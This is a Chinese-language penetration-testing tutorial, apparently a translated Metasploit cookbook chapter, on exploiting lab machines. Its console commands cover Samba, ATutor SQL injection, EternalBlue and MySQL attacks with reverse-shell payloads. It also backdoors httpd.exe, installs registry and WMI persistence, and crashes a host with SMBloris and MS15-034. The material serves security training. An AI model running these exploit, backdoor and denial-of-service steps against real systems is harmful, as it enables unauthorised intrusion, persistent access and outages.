行业新闻

Metasploit 快速入门(三)—— 服务端漏洞利用

Metasploit 快速入门(三)—— 服务端漏洞利用

原创:合天网安实验室合天智汇

在前面,我们学习了

  • msf5 > services -c port,info -p 139,445 192.168.177.145          

  • Services                                                          

  • ========                                                          

  • host             port  info                                      

  • ----             ----  ----                                      

  • 192.168.177.145  139   Samba smbd 3.X - 4.X workgroup: WORKGROUP  

  • 192.168.177.145  445   Samba smbd 3.X - 4.X workgroup: WORKGROUP  

  • msf5 >                                                            

  • 现在我们知道了目标 Samba的版本信息,我们就可以去查找相对应的漏洞,然后使用 search命令搜索可使用的攻击模块。

    TIP:我们可以在通用漏洞披露(CVE)在线平台 https://www.cvedetails.com中找到有关 Samba3.0.20漏洞的细节。

    通过 search命令过滤 CVE模块类型关键字即可找到可利用的攻击模块。

    怎么做

    1、选择攻击模块

    1. msf5 > use exploit/multi/samba/usermap_script

    2. msf5 exploit(multi/samba/usermap_script) >

    2、运行 info可查看模块信息

    image.png

    通过模块描述信息,可用看出,该模块利用 Samba3.0.203.0.25rc中的命令执行漏洞。我们来试试。

    3、配置参数

    通过 show missing命令,查看必须要配置的参数

    1. msf5 exploit(multi/samba/usermap_script) > show missing

    2. Module options (exploit/multi/samba/usermap_script):

    3.   Name    Current Setting  Required  Description

    4.   ----    ---------------  --------  -----------

    5.   RHOSTS                   yes       The target address range or CIDR identifier

    6. msf5 exploit(multi/samba/usermap_script) >

    TIP:要显示模块的高级选项,你可以使用 show advanced 命令

    这里只需要我们设置目标的 IP地址即可,我们通过 set[options][value]来设置

    1. msf5 exploit(multi/samba/usermap_script) > set RHOSTS 192.168.177.145

    2. RHOSTS => 192.168.177.145

    3. msf5 exploit(multi/samba/usermap_script) >

    4、攻击

    执行 exploit即可。

    image.png

    攻击成功后,我们将获得与目标机器的连接会话。我们可用执行一些命令,来验证是否获得了目标机器的权限。

    image.png

    Ctrl+Z可将会话转到后台

    1. uid=0(root) gid=0(root)

    2. ^Z  //按 Ctrl+Z

    3. Background session 1? [y/N]  y

    4. msf5 exploit(multi/samba/usermap_script) >

    5、要操作会话,可用使用 sessions命令

    image.png

    6、要重新回到刚才的会话,可使用 sessions-i[session_id]命令,使用 sessions-l可查看所有激活的会话列表。

    image.png

    要终止会话,可用按 Ctrl+c

    1.    link/ether 00:0c:29:cc:9a:f4 brd ff:ff:ff:ff:ff:ff

    2. ^C  //Ctrl+C

    3. Abort session 1? [y/N]  y //输入 y

    4. ""

    5. [*] 192.168.177.145 - Command shell session 1 closed.  Reason: User exit

    6. msf5 exploit(multi/samba/usermap_script) >

    它是如何工作的

    Samba是用于 LinuxWindows之间的打印和文件共享的服务。 Samba3.0.03.0.25rc3smbd中的 MS-RPC功能允许远程攻击者通过 SamrChangePassword功能的 shell元字符执行任意命令,当启用 smb.conf中“用户名映射脚本”选项时(不是默认启用的),允许远程认证的用户通过远程打印机中的其他 MS-RPC功能的外部元字符执行命令,以及文件共享管理。该漏洞攻击模块通过指定一个用户名包含 shell元字符,攻击者可以执行任意命令。 因为此选项用于在身份验证之前映射用户名,所以不需要身份验证就可以利用此漏洞。

    有效攻击载荷?

    我们没有指定 payload,所以 Metasploit默认为我们指定了 payload。我们可用 show options查看

    1. msf5 exploit(multi/samba/usermap_script) > show options                                    

    2. Module options (exploit/multi/samba/usermap_script):                                      

    3.   Name    Current Setting  Required  Description                                          

    4.   ----    ---------------  --------  -----------                                          

    5.   RHOSTS  192.168.177.145  yes       The target address range or CIDR identifier          

    6.   RPORT   139              yes       The target port (TCP)                                

    7. Payload options (cmd/unix/reverse):                                                        

    8.   Name   Current Setting  Required  Description                                          

    9.   ----   ---------------  --------  -----------                                          

    10.   LHOST  192.168.177.143  yes       The listen address (an interface may be specified)    

    11.   LPORT  4444             yes       The listen port                                      

    12. Exploit target:                                                                            

    13.   Id  Name                                                                                

    14.   --  ----                                                                                

    15.   0   Automatic                                                                          

    16. msf5 exploit(multi/samba/usermap_script) >                                                

    可以看到,使用的 payload是一个 unix反向 shell

    我们可以通过 show payloas列出当前攻击模块所有可用的攻击载荷。

    image.png


    我们还可以通过 sessions-u[sessions_id] 可以将 shell会话升级成 meterpreter会话,从而可以利用 meterpreter的高级功能。关于 meterpreter会在后续的章节中详细讲解。

    image.png

    02SQL 注入

    Metasploit有几个 SQL注入漏洞的利用模块,使我们能够测试和验证目标是否易受攻击。

    准备工作

    我们将安装一个易受攻击的开源 LMS:Atutor2.2.1进行测试,访问https://www.exploit-db.com/exploits/39514 ,点击 VULNERABLE APP旁边的下载按钮开源下载 Atutor2.2.1

    image.png

    TIP:至于怎么安装 ATutor,可以查看官方文档。

    怎么做

    该模块利用了 ATutor2.2.1SQL注入漏洞和身份验证漏洞,这意味着我们可以绕过身份验证,访问管理接口,上传恶意代码。

    1、使用 exploit/multi/http/atutor_sqli模块,查看模块选项

    image.png

    2、攻击之前,可以通过 check命令检测目标是否易受攻击。然后进行攻击

    image.png

    根据密码复杂度不同,所需时长也不同。攻击成功后,获取了 shell

    1. meterpreter > getuid

    2. Server username: Administrator (0)

    3. meterpreter > sysinfo

    4. Computer    : WIN-BGKRU85VR4H

    5. OS          : Windows NT WIN-BGKRU85VR4H 6.1 build 7600 (Windows 7 Business Edition) i586

    6. Meterpreter : php/windows

    7. meterpreter >

    03shell类型

    在进行下一节内容的学习之前,我们先来讨论一些可用 shell的类型。 shell大体上分为两种,一种是 bind shell一种是 reverse shjell。

    bindshell 又叫正向连接 shell。是指程序在目标机本地端口上监听,允许攻击者连接到监听端口。 bind shell非常适合本地漏洞,比如当你已经通过钓鱼攻击成功危害了目标计算机,并希望利用本地服务提权的时候。但是它不适合远程攻击场景。因为通常来说目标位于防火墙后面。

    所以大部分时候,我们更多的使用 reverse shell,又称反向 shell作为我们的有效攻击载荷。反向 shell是在攻击者上监听端口,攻击程序在目标机上运行后主动连接到攻击者监听的端口。由于防火墙大多数时候只限制入站规则。因此反向shell更容易绕过防火墙。

    Payloads

    Metasploit中由三种不同类型的 payload模块,分别是: singles、 stagers和 stages。

    Singles:独立载荷,可直接植入目标系统并执行的程序,比如 shell_bind_tcp

    Stagers:传输器载荷,负责建立网络连接,与 stages载荷配合使用。这种载荷体积小且可靠

    Stages:传输体载荷,在 stagers建立好稳定的连接之后,提供的高级功能。如 shell,meterpreter,dllinject,patchupdllinject,upexec,vncinject等。 metasploit中 meterpreter其实就是一个 payload。它需 stagers和 stages配合使用。

    准备工作

    在上一节中的 SQL注入中,已经获得一个有效的漏洞利用。所以我们将使用它来测试不同类型的 payload

    怎么做

    1、使用 show payloads命令显示可用的载荷。

    v2-413b1a58e310b48232b6e5797ec0f4e3_hd.w

    2、查看载荷的详细信息,使用 infopayload>指令

    v2-d0256b9bc90dce5db1ae7d031d7aafa8_hd.w

    3、 generic/shell_bind_tcp是一个独立载荷。要选择它作为有效载荷,我们使用 setpayloadpayload_name>


    msf5 exploit(multi/http/atutor_sqli) > set payload generic/shell_bind_tcp
    payload => generic/shell_bind_tcp
    msf5 exploit(multi/http/atutor_sqli) > exploit
    [*] 192.168.177.139:80 - Dumping the username and password hash...

    4、使用 generic/shell_bind_tcp载荷可用得到一个通用的 shell,但远远不够, PHPMeterprete是一个特性丰富且更高级的载荷,我们可以用它来利用此漏洞

    image.png

    v2-0cf4874261fc9d1255389ec5e3307169_hd.w

    04攻击Windows 服务器

    利用之前收集的信息,我们将对 Windows服务器作为目标进行漏洞利用。本节我们将使用 Metasploitable3作为靶机。

    准备工作

    通过收集的信息,查找漏洞,选择合适的漏洞里利用模块。

    使用 services查看目标 Apache服务版本。


    msf5 > services -p 8020 192.168.177.144
    Services
    ========
    host             port  proto  name  state  info
    ----             ----  -----  ----  -----  ----
    192.168.177.144 8020  tcp    http  open   Apache httpd
    msf5 >

    访问目标站点

    v2-4c54a724602b4c428a81499b8d3976d5_hd.w

    通过浏览目标站点,我们可以尝试使用弱口令进行登录,比如 admin

    v2-946f9229a755ec5b00d859712f02fd87_hd.w

    居然登录进去了。

    怎么做

    1、查看运行在 8484端口的 Jenkins-CI服务。


    msf5 > services 192.168.177.144 -p 8484
    Services
    ========
    host             port  proto  name  state  info
    ----             ----  -----  ----  -----  ---- 
    192.168.177.144 8484  tcp    http  open   Jetty winstone-2.8 

    这里,并没有显示 Jenkins,浏览器访问看看

    v2-06110987d04506e8dfb0764d533fb418_hd.w

    确实是一个 Jenkins服务

    我们使用 search jenkins搜索可利用的模块

    v2-86b7e5c52e6d32ded7604012a63cf503_hd.w

    使用 Jenkins-CIScript-ConsoleJavaExecution模块

    v2-78595586da02875ae6734e9e4666fa92_hd.w

    攻击 ManageEngineDesktopCentral9

    v2-c532bae0523bb6f66fea4445067958b4_hd.w

    v2-d1fd06ed9e3f2af05610474531438108_hd.w

    05利用公用服务

    在漏洞攻击时,有些服务跟目标上其他大部分服务都有关系,而大多数是情况下它们被忽视了。

    准备工作

    在本节中,我们将利用目标环境中最常见和最容易被滥用的服务- Mysql。大多数情况下,我们可以利用 Mysql服务,因为它们是出于开发目的安装的。忽略了一些安全加固。比如设置 root密码或者设置强密码。

    本节我们将使用 Metasploitable3作为靶机

    怎么做

    要利用目标的 Mysql服务,我们先使用 MySQL枚举模块枚举目标,然后使用 OracleMySQLfortheMicrosoftWindowsPayload攻击模块获取远程主机的 shell。

    TIP: mysql_paylod模块在新版的 Metasploit中被移除了。不过你可以从 https://www.exploit-db.com/download/16957下载这个模块,放到 Metasploit对应的模块目录中( /usr/share/metasploit-framework/modules/exploits/windows/mysql),修改代码的前面几行为如下内容就行。

    v2-88b72674a077e618433ca593005deb57_hd.w

    枚举:

    v2-644a32f89f6dec72220f39a4df0c7f8a_hd.w

    进行攻击:

    image.png

    如果目标 Mysql没有设置 root密码,因此可以使用 MySQL服务上传 shell并获得系统的远程访问权限。就像上面一样。所以,永远不要忘记对基础服务进行渗透测试。即便你认为不会有人傻到配置无密码的服务。

    06MS17-010 永恒之蓝 SMB远程代码执行Windows内核破坏

    再次利用在信息收集和扫描阶段收集的信息,特别是 MS17-010SMB RCE检测辅助模块的输出信息,我们可以转向下一个易受攻击的服务。

    准备工作

    MS17-010EthernalBlueSMBRemoteWindowsKernelPoolCorruption攻击模块是 EquationGroupETERNALBLUE的一部分。 EquationGroupETERNALBLUE是 FuzzBunchtoolkit的一部分。由 ShadowBrokrs从美国国家安全局(NSA)获取并公开。 ETERNALBLUE通常被认为是由 NSA开发。它利用 srv.sys在处理 SrvOs2FeaListSizeToNt的时候逻辑不正确导致越界拷贝从而造成缓冲区溢出,进而允许我们执行任意命令。它在被公开后被用在`WannaCry`勒索软件中进行攻击。此漏洞会影响所有运行 SMBv1服务且未更新 SMB安全补丁的 Windows计算机和 Windows服务器。

    怎么做

    载入 ms17_010_eternalblue模块,设置目标 IP地址,设置 Payload,然后执行攻击


    msf5 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.177.144
    RHOSTS => 192.168.177.144
    msf5 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
    PAYLOAD => windows/x64/meterpreter/reverse_tcp
    msf5 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.177.143
    LHOST => 192.168.177.143
    msf5 exploit(windows/smb/ms17_010_eternalblue) > set LPORT 4444
    msf5 exploit(windows/smb/ms17_010_eternalblue) > exploit
    [*] Started reverse TCP handler on 192.168.177.143:4444
    [*] 192.168.177.144:445 - Connecting to target for exploitation.
    [+] 192.168.177.144:445 - Connection established for exploitation.
    [+] 192.168.177.144:445 - Target OS selected valid for OS indicated by SMB reply
    [*] 192.168.177.144:445 - CORE raw buffer dump (51 bytes)
    [*] 192.168.177.144:445 - 0x00000000 57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32 Windows Server 2
    [*] 192.168.177.144:445 - 0x00000010 30 30 38 20 52 32 20 53 74 61 6e 64 61 72 64 20 008 R2 Standard
    [*] 192.168.177.144:445 - 0x00000020 37 36 30 31 20 53 65 72 76 69 63 65 20 50 61 63 7601 Service Pac
    [*] 192.168.177.144:445 - 0x00000030 6b 20 31                                         k 1
    [+] 192.168.177.144:445 - Target arch selected valid for arch indicated by DCE/RPC reply
    [*] 192.168.177.144:445 - Trying exploit with 12 Groom Allocations.
    [*] 192.168.177.144:445 - Sending all but last fragment of exploit packet
    [*] 192.168.177.144:445 - Starting non-paged pool grooming
    [+] 192.168.177.144:445 - Sending SMBv2 buffers
    [+] 192.168.177.144:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
    [*] 192.168.177.144:445 - Sending final SMBv2 buffers.
    [*] 192.168.177.144:445 - Sending last fragment of exploit packet!
    [*] 192.168.177.144:445 - Receiving response from exploit packet
    [+] 192.168.177.144:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
    [*] 192.168.177.144:445 - Sending egg to corrupted connection.
    [*] 192.168.177.144:445 - Triggering free of corrupted buffer.
    [*] Meterpreter session 1 opened (192.168.177.143:4444 -> 192.168.177.144:49655) at 2019-04-26 17:40:54 +0800
    [+] 192.168.177.144:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
    [+] 192.168.177.144:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
    [+] 192.168.177.144:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
    meterpreter >
    meterpreter > sysinfo
    Computer        : METASPLOITABLE3
    OS              : Windows 2008 R2 (Build 7601, Service Pack 1).
    Architecture    : x64
    System Language : en_US
    Domain          : WORKGROUP
    Logged On Users : 2
    Meterpreter     : x64/windows
    meterpreter > getuid
    Server username: NT AUTHORITY\SYSTEM
    meterpreter > 

    07MS17-010 EternalRomance/EternalSynergy/EternalChampion

    MS17-010EternalRomance/EternalSynergy/EternalChampionSMBRemoteWindowsCodeExecution攻击模块也可用于 MS17-0101漏洞利用。而且比 EnternalBlue更可靠,不过需要命名管道。

    怎么做

    使用模块 ms17_010_psexec

    v2-94b930252806e27ec94d3bb07fc6122f_hd.w

    08安装后门

    获取 shell后,我们如果需要确保能持久性的访问目标系统,我们需要安装后门。

    准备工作

    通过之前的漏洞利用,我们已经获得了与目标机的 session,我们将利用 meterpreter session来安装后门服务。这里以 httpd.exe为例。

    v2-d7a631b703c077c62a2f953e0d998757_hd.w

    接下来,我们将利用 windows注册表持久性模块安装随系统启动的后门。

    最后我们将利用 WMI( Windows Management Instrumentation )创建一个无文件后门。

    怎么做

    1、不能在程序运行的时候安装后门,所以先杀死进程


    meterpreter > kill 3880
    Killing: 3880
    meterpreter >

    2、将需要替换成后门的程序下载下来


    meterpreter > download C:\\wamp\\bin\\apache\\apache2.2.21\\bin\\httpd.exe
    [*] Downloading: C:\wamp\bin\apache\apache2.2.21\bin\httpd.exe -> httpd.exe
    [*] Downloaded 21.00 KiB of 21.00 KiB (100.0%): C:\wamp\bin\apache\apache2.2.21\bin\httpd.exe -> httpd.exe
    [*] download   : C:\wamp\bin\apache\apache2.2.21\bin\httpd.exe -> httpd.exe
    meterpreter >

    3、将会话退回到后台,使用 reverse_tcp攻击载荷,使用 generate生成后门文件。


    msf5 exploit(windows/smb/ms17_010_psexec) > use payload/windows/x64/meterpreter/reverse_tcp
    msf5 payload(windows/x64/meterpreter/reverse_tcp) > set LHOST 192.168.177.143
    LHOST => 192.168.177.143
    msf5 payload(windows/x64/meterpreter/reverse_tcp) > generate -p Windows -x /root/httpd.exe -k -f exe -o /root/httpd-backdoored.exe
    [*] Writing 29184 bytes to /root/httpd-backdoored.exe...
    msf5 payload(windows/x64/meterpreter/reverse_tcp) >

    关于 generate的参数说明,可以查看帮助信息

    v2-bf0085de0ebbea5a74e43baf0c4c88fc_hd.w

    4、启动一个监听,监听后门的反向连接,并使用 expolit-j放到后台运行


    msf5 payload(windows/x64/meterpreter/reverse_tcp) > use exploit/multi/handler
    msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
    payload => windows/x64/meterpreter/reverse_tcp
    msf5 exploit(multi/handler) > set LHOST 192.168.177.143
    LHOST => 192.168.177.143
    msf5 exploit(multi/handler) > exploit -j
    [*] Exploit running as background job 0.
    [*] Exploit completed, but no session was created.
    [*] Started reverse TCP handler on 192.168.177.143:4444
    msf5 exploit(multi/handler) >

    5、切回之前的 meterpreter session,上传后门文件并重命名。


    msf5 exploit(multi/handler) > sessions -i 3
    [*] Starting interaction with 3...
    meterpreter > cd C:\\wamp\\bin\\apache\\apache2.2.21\\bin\\
    meterpreter > mv httpd.exe httpd.exe.backup
    meterpreter > upload /root/httpd-backdoored.exe
    [*] uploading  : /root/httpd-backdoored.exe -> httpd-backdoored.exe
    [*] Uploaded 28.50 KiB of 28.50 KiB (100.0%): /root/httpd-backdoored.exe -> httpd-backdoored.exe
    [*] uploaded   : /root/httpd-backdoored.exe -> httpd-backdoored.exe
    meterpreter > mv httpd-backdoored.exe httpd.exe
    meterpreter >

    6、使用 shell命令进入目标系统的 shell,重启 wampapache服务。


    meterpreter > shell
    Process 1976 created.
    Channel 3 created.
    Microsoft Windows [Version 6.1.7601]
    Copyright (c) 2009 Microsoft Corporation.  All rights reserved.
    C:\wamp\bin\apache\apache2.2.21\bin>net stop wampapache
    net stop wampapache
    The wampapache service is stopping.net sta
    The wampapache service was stopped successfully.
    C:\wamp\bin\apache\apache2.2.21\bin>net start wampapache
    [*] Sending stage (206403 bytes) to 192.168.177.144
    net start wampapache
    The wampapache service is starting.
    The wampapache service was started successfully.

    你会发现,服务启动后,返回了新的会话

    v2-10a9127e3f850f381ef341eaabfb6a2f_hd.w

    7、使用 Windows注册表持久化模块植入后门。我们利用永恒之蓝攻击获得的会话进行后门植入操作。

    v2-845bab2c0cc0c1a38bc4cbd2659253fa_hd.w

    这里因为环境问题,并未植入成功。

    8、如果成功,然后就可以设置监听,以便目标重启的时候获得反向 shell会话


    msf5 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
    PAYLOAD => windows/meterpreter/reverse_tcp
    msf5 exploit(multi/handler) > set LHOST 192.168.177.143
    LHOST => 192.168.177.143
    msf5 exploit(multi/handler) > set LPORT 9999
    LPORT => 9999
    msf5 exploit(multi/handler) > exploit -j
    [*] Exploit running as background job 1.
    [*] Exploit completed, but no session was created.
    [*] Started reverse TCP handler on 192.168.177.143:9999
    msf5 exploit(multi/handler) >

    9、当目标机器重启后,可以获得会话


    meterpreter > reboot
    Rebooting...

    10、利用 WMI事件订阅创建无文件后门

    v2-149c729dc25e794f850e94b2bb4bbf62_hd.w

    11、提示未成功,我们可以使用 migrate将 meterpreter shell进程进行进程迁移,就是将 meterpreter shell进程迁移到相对稳定应用的进程里。

    v2-0eed5fd57bd5ad9844fbba14fd6dd44b_hd.w

    然后再次攻击


    meterpreter > background
    [*] Backgrounding session 1...
    msf5 exploit(windows/local/wmi_persistence) > exploit
    [*] Installing Persistence...
    [+]  - Bytes remaining: 12560
    [+]  - Bytes remaining: 4560
    [+] Payload successfully staged.
    [+] Persistence installed! Call a shell using "smbclient \\\\192.168.177.144\\C$ -U Administrator arbitrary password>"
    [*] Clean up Meterpreter RC file: /root/.msf4/logs/wmi_persistence/192.168.177.144_20190428.2114/192.168.177.144_20190428.2114.rc
    msf5 exploit(windows/local/wmi_persistence) >

    注销目标机登录,然后重新登录, msfconsole这边就会接收到回连的会话


    [*] Meterpreter session 2 opened (192.168.177.143:4433 -> 192.168.177.144:49437) at 2019-04-28 12:27:54 +0800
    msf5 exploit(multi/handler) > sessions -i 2
    [*] Starting interaction with 2...
    meterpreter > getuid
    Server username: NT AUTHORITY\SYSTEM
    meterpreter > sysinfo
    Computer        : METASPLOITABLE3
    OS              : Windows 2008 R2 (Build 7601, Service Pack 1).
    Architecture    : x64
    System Language : en_US
    Domain          : WORKGROUP
    Logged On Users : 2
    Meterpreter     : x86/windows
    meterpreter >

    09拒绝服务攻击

    拒绝服务攻击通常是通过向目标机请求大量的资源或利用漏洞,造成拒绝服务攻击,消耗目标机器性能,拒绝服务攻击会导致合法用户无法访问计算机服务或资源,甚至可能会导致服务或操作系统崩溃。

    准备工作

    SMBloris是一个已经存在了 20 年的 WindowsSMB 漏洞,此漏洞可导致拒绝服务攻击( DoS ) , 使得大规模服务器瘫痪。影响所有版本的 SMB 协议以及所有 Windows2000 之后的系统版本。

    怎么做

    1、在进行 SMBloris拒绝服务攻击之前,要先设置攻击机的最大连接数。


    root@osboxes:~# ulimit -n 65535
    root@osboxes:~# ulimit -n
    65535
    root@osboxes:~#

    2、然后使用 smb_loris模块来攻击目标机机器

    image.png

    3、查看目标机器,我们可以看到由于攻击者发送了大量的 SMB请求消耗了目标机的大量内存。每一个 NBSS 连接可以申请分配 128KB 内存空间,在建立大量连接的情况下可以耗尽内存,达到拒绝服务的效果。

    v2-0960fb59026e34442e3696d3993e41d7_hd.w

    另一个可怕的 DoS攻击是 MS15-034HTTP协议栈请求处理拒绝服务。

    如果 MicrosoftWindows7,Windows8,WindowsServer2008,orWindowsServer2012机器正在运行了存在 MS15-034漏洞的 IIS服务,那么可以利用这个漏洞导致目标服务器崩溃。


    msf5 > use auxiliary/dos/http/ms15_034_ulonglongadd
    msf5 auxiliary(dos/http/ms15_034_ulonglongadd) > set RHOSTS 192.168.177.144
    RHOSTS => 192.168.177.144
    msf5 auxiliary(dos/http/ms15_034_ulonglongadd) > exploit
    [*] DOS request sent
    [*] Scanned 1 of 1 hosts (100% complete)
    [*] Auxiliary module execution completed
    msf5 auxiliary(dos/http/ms15_034_ulonglongadd) >

    image.png

    可以看到,目标死机蓝屏了。

    相关实验推荐

    Metasploit攻击winserver2008实例:metasploit攻击winserver2008的过程,通过本实验的学习,你能够了解拒绝服务攻击的原理及其危害,学会使用metasploit对win2008系统进行拒绝服务攻击。点击文末“阅读原文”,开始操作!

    v2-b3ea22434f17727b92e828df8b770010_hd.w

    第四章 Meterpreter (预告)

    在本章中,我们将学习以下内容:

    1、了解Meterpreter核心命令

    2、了解Meterpreter文件系统命令

    3、了解Meterpreter网络命令

    4、了解Meterpreter系统命令

    5、与目标建立多重通信信道

    6、Meterpreter反取证

    7、屏幕和键盘监听

    8、使用 scraper Merterpreter脚本

    9、使用 winenum 枚举系统信息

    10、自动化脚本

    11、Meterpreter资源脚本

    12、Meterpreter超时控制

    13、Meterpreter休眠控制

    14、Meterpreter传输

    15、注册表操作

    16、加载框架插件

    17、API和Mixins

    18、Railgun——将Ruby转换为武器

    19、向Railgun中添加DLL和函数定义

    20、劫持远程VNC

    21、开启远程桌面

    说明

    原书:《Metasploit Penetration Testing Cookbook - Third Edition》

    https://www.packtpub.com/networking-and-servers/metasploit-penetration-testing-cookbook-third-edition

    声明:本文由合天网安实验室编译,转载请注明来源。

    关闭